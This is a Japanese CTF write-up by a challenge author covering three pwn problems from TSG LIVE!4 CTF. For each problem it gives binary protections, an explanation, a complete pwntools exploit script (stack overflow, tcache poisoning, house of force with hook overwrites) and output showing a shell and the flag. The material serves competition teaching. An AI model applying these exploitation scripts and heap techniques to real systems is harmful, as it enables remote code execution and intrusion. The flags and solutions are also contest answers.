とある大学に TSG という団体があるらしいが、 その団体によってある秋の日に行われたTSG LIVE!4の3日目のイベントTSG LIVE!4 CTF。 そこの pwn 問題の解説をする。

問題バイナリ等は以下のリポジトリに全て置いてある:

IfYouWanna - pwn 100 点問題 Link to this heading

静的解析 Link to this heading

sec.sh
1./IfYouWanna: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=3278bdb1a0cf46a375c6eb17453bf726c3dd733d, not stripped
2Arch:     amd64-64-little
3RELRO:    Partial RELRO
4Stack:    No canary found
5NX:       NX disabled
6PIE:      No PIE (0x400000)
7RWX:      Has RWX segments

問題概要 Link to this heading

以前までの TSGLIVE CTF では作問側が張り切りすぎて 時間内に 1,2 問しか解かれないという現象が発生していた。 それだと見てる側も(作問側も)冷えてしまうので、 pwn 分野には5分位で解ける 0 点回避問題を入れようと思い、この問題を詰め込んだ。

まず最初にauth()にてパスワードの入力が求められる。 パスワードのもととなるデータはバイナリ中に埋め込んである:

.c
1char pw[] = {0x6f,0x1e,0x6a,0x9,0x24,0x41,0x30,0x41,0x2c,0x47,0x20,0xd,0x7d,0x1e,0x6e,0x43,0x35,0x3,0x76,0x1c,0x77,0x5a,0x2f,0x56,0x35,0x6,0x35,0x44,0x3d,0x2};

1文字目はpw[0]-2そのまま。 n 文字目はpw[n-1]pw[n]の xor から 2 を引けば出てくる。 pwn/rev のパスワード系の問題は angr に投げれば一発というものも多々あり、 これも angr に投げれば(時間こそかかるものの)解くことができる。 だが、正直これくらいなら angr に解析させるよりも自分でバイナリを読んでスクリプトを書いたほうが多分早い。

これによって最後の3文字を除いたパスワードが出てくる:

.c
1mora+cookie+nan+t4shi+swa11ow=

あとはこれらの文字の ASCII コードを足してやると0xACEという値が出てきて、最終的なパスワードは:

.c
1mora+cookie+nan+t4shi+swa11ow=ACE

TSG が誇る凄腕 CTFer たちが ACE であるという旨のパスワードになっている。

だが先程述べたように この問題が 0 点回避用であることと、 pwn と銘打っているのに若干の rev 要素があるため、 正直このauth()はいらなかったかもと反省しております。。。

それさえ突破すればあとは libc_base が与えられており、 BoF できるためそれこそ秒で終わる問題でした。

それから 僕がややこしいポート番号にしてしまったからか、 途中までポート指定の表示が間違っていたのは大変申し訳無い。。。

exploit Link to this heading

exploit.py
 1#!/usr/bin/env python
 2#encoding: utf-8;
 3
 4from pwn import *
 5import sys
 6
 7FILENAME = "../problem/IfYouWanna"
 8
 9rhp1 = {'host':"localhost",'port':20002}
10rhp2 = {'host':"3.112.113.4",'port':20002}
11context(os='linux',arch='amd64')
12binf = ELF(FILENAME)
13
14onegadgets = [0x4f2c5,0x4f322,0x10a38c]
15
16def exploit(conn):
17  conn.recvuntil("password > ")
18  conn.sendline("mora+cookie+nan+t4shi+swa11ow=ACE")
19  conn.recvuntil(": ")
20  libc_base = int(conn.recvline()[:-1],16)
21  print("[+]libc_base: "+hex(libc_base))
22  conn.recvuntil("> ")
23
24  inp = "y"
25  inp += "A"*(0xa8-len(inp))
26  inp += p64(onegadgets[1]+libc_base)
27  conn.sendline(inp)
28
29
30if len(sys.argv)>1:
31  if sys.argv[1][0]=="d":
32    cmd = """
33      set follow-fork-mode parent
34    """
35    conn = gdb.debug(FILENAME,cmd)
36  elif sys.argv[1][0]=="r":
37    conn = remote(rhp1["host"],rhp1["port"])
38else:
39    conn = remote(rhp2['host'],rhp2['port'])
40exploit(conn)
41conn.interactive()
result.sh
1[+]libc_base: 0x7f52e086d000
2[*] Switching to interactive mode
3AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"�R$cat /home/user/flag
4TSGCTF{This_is_too_easy_pwn_but_you_got_100_pts_anyway!}
5$

ShyEEICtan - pwn 200 点問題 Link to this heading

静的解析 Link to this heading

sec.sh
1./ShyEEICtan: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=d8d3a96fd55ed07a8c3906317cd3bc8831d65ffa, not stripped
2Arch:     amd64-64-little
3RELRO:    Full RELRO
4Stack:    Canary found
5NX:       NX enabled
6PIE:      PIE enabled

問題概要 Link to this heading

ある大学の EEIC という学部の Slack には EEIC たんという課題の締め切りお知らせなどをしてくれる bot があり、 それを題材にした問題。

ヒープ周りを割と好き勝手できます。 最初に tcache を消費してもう一度 free するとmain_arena+96がヒープに現れるので、 EEIC たんに予定を表示させてその 8byte をリークします。 EEIC たんは今回凄くシャイになってしまい、最初の 8byte 分しか教えてくれませんがそれで十分です。

あとは tcache のfdを書き換えてfree_hook overwrite すれば終わりですが、 その状態で onegadegt に飛ぶと stack の align の都合上MOVAPSで怒られるので、 call [rdi]してくれる gadget をfree_hookに書いて、 freeの引数として onegadget RCE を入れるという一手間が必要になります (まぁこの部分の bypass 方法は十人十色でしょうが。。。)。

exploit Link to this heading

exploit.py
  1#!/usr/bin/env python
  2#encoding: utf-8;
  3
  4from pwn import *
  5import sys
  6
  7FILENAME = "../problem/ShyEEICtan"
  8
  9rhp1 = {"host":"localhost","port":20000}
 10rhp2 = {'host':"3.112.113.4",'port':20000}
 11context(os='linux',arch='amd64')
 12binf = ELF(FILENAME)
 13
 14off_arena96_libc = 0x3ebca0
 15off_free_hook = 0x3ed8e8
 16off_malloc_hook = 0x3ebc30
 17onegadgets = [0x4f2c5,0x4f322,0x10a38c]
 18callrdi_gad = 0x1d45f1
 19
 20def _add(conn,data):
 21  conn.recvuntil("> ")
 22  conn.sendline("1")
 23  conn.recvuntil(">")
 24  conn.send(data)
 25
 26def _remove(conn,ix):
 27  conn.recvuntil("> ")
 28  conn.sendline("2")
 29  conn.recvuntil("> ")
 30  conn.sendline(str(ix))
 31
 32def _list(conn):
 33  conn.recvuntil("> ")
 34  conn.sendline("3")
 35
 36def _exit(conn):
 37  conn.recvuntil("> ")
 38  conn.sendline("0")
 39
 40def _edit(conn,ix,data):
 41  conn.recvuntil("> ")
 42  conn.sendline("4")
 43  conn.recvuntil("> ")
 44  conn.sendline(str(ix))
 45  conn.recvuntil(">")
 46  conn.send(data)
 47
 48
 49def exploit(conn):
 50  #consume tcache
 51  for i in range(8):
 52    _add(conn,"A"*0x10)
 53  for i in range(1,8):
 54    _remove(conn,i)
 55  _remove(conn,0) #generate main_arena+96 on heap
 56  _list(conn) #leak main_arena+96
 57
 58  #calc some addrs
 59  conn.recvuntil("is:\n")
 60  mainarena96 = unpack(conn.recvuntil(" ...")[:-4])
 61  print("[+]mainarena96: "+hex(mainarena96))
 62  libc_base = mainarena96-off_arena96_libc
 63  print("[+]libc_base: "+hex(libc_base))
 64  malloc_hook = libc_base + off_malloc_hook
 65  free_hook = libc_base + off_free_hook
 66  print("[+]__malloc_hook: "+hex(malloc_hook))
 67  onegadget0 = libc_base + onegadgets[0]
 68  print("[+]onegadget0: "+hex(onegadget0))
 69
 70  #make tcache point to __free_hook and overwrite it with call[rdi]-gadgets,
 71  #because just calling onegadget is interrupted with MOVAPS!
 72  #So, just do easy ROP with the argment of free()
 73  _edit(conn,7,p64(free_hook))
 74  _add(conn,"C"*0x10)
 75  _add(conn,p64(libc_base + callrdi_gad)) #gad: call qword [rdi]
 76  _edit(conn,5,p64(onegadget0))
 77  conn.recvuntil("> ")
 78  conn.sendline("2")
 79
 80  #invoke gadgets and get the shell!
 81  conn.recvuntil("> ")
 82  conn.sendline("5")
 83  sleep(1)
 84  conn.sendline("ls")
 85  sleep(1)
 86  conn.sendline("./flag")
 87
 88
 89
 90if len(sys.argv)>1:
 91  if sys.argv[1][0]=="d":
 92    cmd = """
 93      set follow-fork-mode parent
 94    """
 95    conn = gdb.debug(FILENAME,cmd)
 96  elif sys.argv[1][0]=="r":
 97    conn = remote(rhp1["host"],rhp1["port"])
 98else:
 99    conn = remote(rhp2['host'],rhp2['port'])
100exploit(conn)
101conn.interactive()
result.sh
1[+]mainarena96: 0x7f1e81d13ca0
2[+]libc_base: 0x7f1e81928000
3[+]__malloc_hook: 0x7f1e81d13c30
4[+]onegadget0: 0x7f1e819772c5
5[*] Switching to interactive mode
6$ cat /home/user/flag
7TSGCTF{EEIC_is_really_really_really_really_really_WHITE!!!}

EEIC はとてもとてもホワイトな学科だとのたまっております。

KillKirby4Free - pwn 300 点問題 Link to this heading

静的解析 Link to this heading

sec.sh
1./kill_kirby: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=ed10fd6540e039b9111f7bf54e76831e4c0db4a2, not stripped
2Arch:     amd64-64-little
3RELRO:    Full RELRO
4Stack:    Canary found
5NX:       NX enabled
6PIE:      No PIE (0x400000)

問題概要 Link to this heading

この問題を一番最初に考えました。

問題自体はそんなに難しいテクニック自体は使っていないのですが 75 分というめちゃめちゃ短い時間も考慮すると 300 点かなぁということです。 想定としては pwn を得意分野とするプレイヤが他の人と分業してこの問題に集中して全時間の 2/3 を使えば解けるかなぁと言う感じで設定しました。

結果、多分誰にも手つけられてないのかな。。。 時間あれば放送中に使うかなぁと思っていたスライド を貼っておくので解説はそちらで:

exploit Link to this heading

exploit.py
  1#!/usr/bin/env python
  2#encoding: utf-8;
  3
  4###########################################
  5# I checked if whether this exploit works
  6# on Linux 4.15.0-65-generic #74-Ubuntu SMP Tue Sep 17 17:06:04 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
  7###########################################
  8
  9
 10
 11from pwn import *
 12import sys
 13
 14FILENAME = "../problem/kill_kirby"
 15
 16rhp1 = {"host":"0.0.0.0","port":30001}
 17rhp2 = {'host':"3.112.113.4",'port':30001}
 18context(os='linux',arch='amd64')
 19binf = ELF(FILENAME)
 20
 21total_walk = 0
 22off_libc_arena = 0x3ebc40
 23off_free_hook = 0x3ed8e8
 24off_malloc_hook = 0x3ebc30
 25kirby_is_free = 0x602058
 26
 27#constraints:
 28#0:rcx==NULL 1:[rsp+0x40]==NULL 2:[rsp+0x70]==NULL
 29onegadgets = [0x4f2c5,0x4f322,0x10a38c]
 30push_gad = 0x000a3f3f
 31
 32def normal(conn,name,kill=False):
 33  global total_walk
 34  total_walk += 1
 35  conn.recvuntil("> ")
 36  conn.sendline("1")
 37  conn.recvuntil("> ")
 38
 39  if total_walk%6==0 or total_walk%0xa==0:
 40    conn.sendline("2")
 41    normal(conn,name,kill)
 42    return
 43
 44  if kill==True:
 45    conn.sendline("2")
 46    return
 47  conn.sendline("1")
 48  conn.recvuntil("> ")
 49  conn.send(name)
 50
 51def big(conn,name,size):
 52  global total_walk
 53  while True:
 54    if (total_walk+1)%0xa!=0:
 55      normal(conn,"A",True)
 56    else:
 57      break
 58  total_walk+=1
 59
 60  conn.recvuntil("> ")
 61  conn.sendline("1")
 62  conn.recvuntil("> ")
 63  conn.sendline("1")
 64  conn.recvuntil("> ")
 65  conn.sendline(str(size))
 66  conn.recvuntil("> ")
 67  conn.send(name)
 68
 69def small(conn,name):
 70  global total_walk
 71  while True:
 72    if (total_walk+1)%0x6!=0:
 73      normal(conn,"A",True)
 74    else:
 75      break
 76  total_walk+=1
 77
 78  conn.recvuntil("> ")
 79  conn.sendline("1")
 80  conn.recvuntil("> ")
 81  conn.sendline("1")
 82  conn.recvuntil("> ")
 83  conn.send(name)
 84
 85def rename(conn,ix,name):
 86  conn.recvuntil("> ")
 87  conn.sendline("4")
 88  conn.recvuntil("> ")
 89  conn.sendline(str(ix))
 90  conn.recvuntil("> ")
 91  conn.send(name)
 92
 93def showlist(conn):
 94  conn.recvuntil("> ")
 95  conn.sendline("2")
 96
 97def delete(conn,ix):
 98  conn.recvuntil("> ")
 99  conn.sendline("3")
100  conn.recvuntil("> ")
101  conn.sendline(str(ix))
102
103
104def exploit(conn):
105  global total_walk
106  global kirby_is_free
107
108  #leak heap addr
109  small(conn,"A"*8)#1
110  normal(conn,"B"*8)#2
111  rename(conn,1,"A"*0x50) #overwrite next size as side-effect
112  showlist(conn)
113  conn.recvuntil("A"*0x50)
114  heap_addr = unpack(conn.recvuntil(" ")[:-1].ljust(8,'\x00'))
115  print("heap_addr: "+hex(heap_addr))
116
117  #prepare for leak of &main_arena+96
118  small(conn,"C"*8)#3 #used to adjuscent name chunk with name chunk
119
120  #house of force and make chunk around stdout
121  small(conn,"D"*0x48+p64(0xffffffffffffffff))#4
122  top = heap_addr+0x200+0x31 #top addr after malloc of kirby structure
123  print("top: "+hex(top))
124  print("req malloc size(usr): "+hex(0xffffffffffffffff+kirby_is_free-top-0x30))
125  print("intended addr: "+hex(0xffffffffffffffff+kirby_is_free-top-0x30+top)+"\n")
126  big(conn,"X",kirby_is_free-top-0x30)#5 #house of force(@stdint+0x8==sz)
127  normal(conn,"A"*0x10)#6 #overwrite kirby_is_free(total_walk woudn't change)
128
129
130
131  #back to valid heap area with house of force again
132  small(conn,"D"*0x48+p64(0xffffffffff00001))#7
133  top = 0x602140 + 0x30 #top addr after malloc of kirby structure
134  print("top: "+hex(top))
135  target_heap = heap_addr + 0x280
136  print("target_heap: "+hex(target_heap))
137  #big(conn,p8(0),top - target_heap + 0x20) #made mistake and waste 4days!!!!!!
138  big(conn,"E"*8,target_heap - top + 0x20) #8
139
140  #leak libc base
141  normal(conn,"F"*8)#9
142  small(conn,"G"*8)#10->9
143  delete(conn,9)
144  big(conn,"H"*8,0x450)#10 #this kirby's name chunk is next to name chunk of small kirby!!
145  small(conn,"I"*8)#11->10 #avoid malloc_consolidate() and third house of force later
146  delete(conn,10) #generate main_arena+96 in heap
147
148  rename(conn,9,"K"*0x48+p64(0xffffffffffffffff)) #padding
149  showlist(conn)
150  conn.recvuntil("K"*0x48)
151  conn.recv(8)
152  main_arena = unpack(conn.recvuntil(" ")[:-1].ljust(8,'\x00'))-96
153  print("[+]main_arena: "+hex(main_arena))
154  libc_base = main_arena - off_libc_arena
155  print("[+]libc_base: "+hex(libc_base))
156  onegadget1 = onegadgets[1]+libc_base
157  onegadget0 = onegadgets[0]+libc_base
158  onegadget2 = onegadgets[2]+libc_base
159  print("[+]onegadget1: "+hex(onegadget1))
160  free_hook = off_free_hook + libc_base
161  malloc_hook = off_malloc_hook + libc_base
162  print("[+]free_hook: "+hex(free_hook))
163  print("[+]malloc_hook: "+hex(malloc_hook)+"\n")
164
165  rename(conn,9,"K"*0x48+p64(0x461)) #rewrite unsorted chunk's size into valid
166
167  #consume unsorted chunk(sz==3e1)
168  for i in range(0x3e1/(0x30+0x60) + 2):
169    normal(conn,"+"*8)
170
171  #overwrite malloc_hook with house of force
172  rename(conn,10,"L"*0x48+p64(0xffffffffffffff01)) #overwrite top's size
173  top = heap_addr + 0x8a0 #+ 0x30 #this time, kirby structure is pick up from remained unsorted
174  print("top: "+hex(top))
175  print("malloc req size(usr): "+hex(0xffffffffffffffff+free_hook-top-0x20))
176  big(conn,"M"*8,malloc_hook - top - 0x20) #now top is on __malloc_hook
177
178  #(now, the remain of unsorted(small) chunk is 0x40,
179  # therefore, smallkirby chunk is pick up from small bin,
180  # and name chunk is the very on malloc_hook!!!)
181  small(conn,p64(onegadget2))
182
183  #get the shell!
184  conn.recvuntil("> ")
185  conn.sendline("1")
186  conn.recvuntil("> ")
187  conn.sendline("1")
188  sleep(1)
189  conn.sendline("ls")
190  sleep(2)
191  conn.sendline("cat ./flag")
192
193
194
195if len(sys.argv)>1:
196  if sys.argv[1][0]=="d":
197    cmd = """
198      set follow-fork-mode parent
199    """
200    conn = gdb.debug(FILENAME,cmd)
201  elif sys.argv[1][0]=="r":
202    conn = remote(rhp1["host"],rhp1["port"])
203else:
204    conn = remote(rhp2['host'],rhp2['port'])
205exploit(conn)
206conn.interactive()
result.sh
 1heap_addr: 0xbfc2c0
 2top: 0xbfc4f1
 3req malloc size(usr): 0xffffffffffa05b36
 4intended addr: 0x10000000000602027
 5
 6top: 0x602170
 7target_heap: 0xbfc540
 8[+]main_arena: 0x7fe2559dec40
 9[+]libc_base: 0x7fe2555f3000
10[+]onegadget1: 0x7fe255642322
11[+]free_hook: 0x7fe2559e08e8
12[+]malloc_hook: 0x7fe2559dec30
13
14top: 0xbfcb60
15malloc req size(usr): 0x100007fe254de3d67
16[*] Switching to interactive mode
17You inhaled kirby!
18$
19$ cat /home/user/flag
20TSGCTF{Kirby_is_the_symbol_of_PEACE!}

アウトロ Link to this heading

zer0pts の皆さんありがとうございます。。。

ちゃんと点数取れるってことの証明をしていただけてありがたいです。。。